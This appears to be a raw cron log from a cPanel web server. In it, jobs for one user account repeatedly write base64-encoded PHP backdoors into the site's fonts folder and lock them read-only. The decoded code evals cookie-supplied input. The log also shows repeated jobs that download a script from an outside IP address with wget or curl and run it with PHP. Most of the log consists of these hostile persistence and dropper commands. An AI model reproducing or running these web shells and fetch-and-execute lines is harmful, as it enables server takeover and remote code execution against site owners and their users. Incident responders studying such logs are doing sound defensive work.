Sep 13 00:03:01 ip-184-168-122-23 CROND[13976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:03:01 ip-184-168-122-23 CROND[13975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:04:02 ip-184-168-122-23 CROND[14141]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:04:02 ip-184-168-122-23 CROND[14144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:04:02 ip-184-168-122-23 CROND[14145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:04:02 ip-184-168-122-23 CROND[14143]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:04:02 ip-184-168-122-23 CROND[14146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:05:02 ip-184-168-122-23 CROND[14268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:05:02 ip-184-168-122-23 CROND[14269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:05:02 ip-184-168-122-23 CROND[14274]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 00:05:02 ip-184-168-122-23 CROND[14273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:05:02 ip-184-168-122-23 CROND[14276]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:05:02 ip-184-168-122-23 CROND[14275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:05:02 ip-184-168-122-23 CROND[14270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:06:01 ip-184-168-122-23 CROND[14359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:06:01 ip-184-168-122-23 CROND[14363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:06:01 ip-184-168-122-23 CROND[14362]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:06:01 ip-184-168-122-23 CROND[14364]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:06:01 ip-184-168-122-23 CROND[14365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:07:01 ip-184-168-122-23 CROND[14452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:07:01 ip-184-168-122-23 CROND[14453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:07:01 ip-184-168-122-23 CROND[14451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:07:01 ip-184-168-122-23 CROND[14454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:08:01 ip-184-168-122-23 CROND[14529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:08:01 ip-184-168-122-23 CROND[14530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:08:01 ip-184-168-122-23 CROND[14532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:08:01 ip-184-168-122-23 CROND[14534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:08:01 ip-184-168-122-23 CROND[14535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:09:01 ip-184-168-122-23 CROND[14698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:09:01 ip-184-168-122-23 CROND[14699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:09:01 ip-184-168-122-23 CROND[14700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:09:01 ip-184-168-122-23 CROND[14704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:09:01 ip-184-168-122-23 CROND[14705]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 13 00:10:01 ip-184-168-122-23 CROND[14810]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 00:10:01 ip-184-168-122-23 CROND[14813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:10:01 ip-184-168-122-23 CROND[14816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:10:01 ip-184-168-122-23 CROND[14820]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:10:01 ip-184-168-122-23 CROND[14818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:10:01 ip-184-168-122-23 CROND[14821]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 00:10:01 ip-184-168-122-23 CROND[14817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:10:01 ip-184-168-122-23 CROND[14822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 00:11:01 ip-184-168-122-23 CROND[14921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:11:01 ip-184-168-122-23 CROND[14920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:11:01 ip-184-168-122-23 CROND[14919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:11:01 ip-184-168-122-23 CROND[14922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:12:01 ip-184-168-122-23 CROND[15009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:12:01 ip-184-168-122-23 CROND[15011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:12:01 ip-184-168-122-23 CROND[15012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:12:01 ip-184-168-122-23 CROND[15013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:12:01 ip-184-168-122-23 CROND[15014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:13:01 ip-184-168-122-23 CROND[15107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:13:01 ip-184-168-122-23 CROND[15109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:13:01 ip-184-168-122-23 CROND[15111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:13:01 ip-184-168-122-23 CROND[15110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:14:01 ip-184-168-122-23 CROND[15271]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 00:14:01 ip-184-168-122-23 CROND[15276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:14:01 ip-184-168-122-23 CROND[15275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 00:14:01 ip-184-168-122-23 CROND[15274]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 00:14:01 ip-184-168-122-23 CROND[15273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:15:01 ip-184-168-122-23 CROND[15375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 00:15:02 ip-184-168-122-23 CROND[15377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 00:15:02 ip-184-168-122-23 CROND[15378]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 13 00:15:02 ip-184-168-122-23 CROND[15380]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
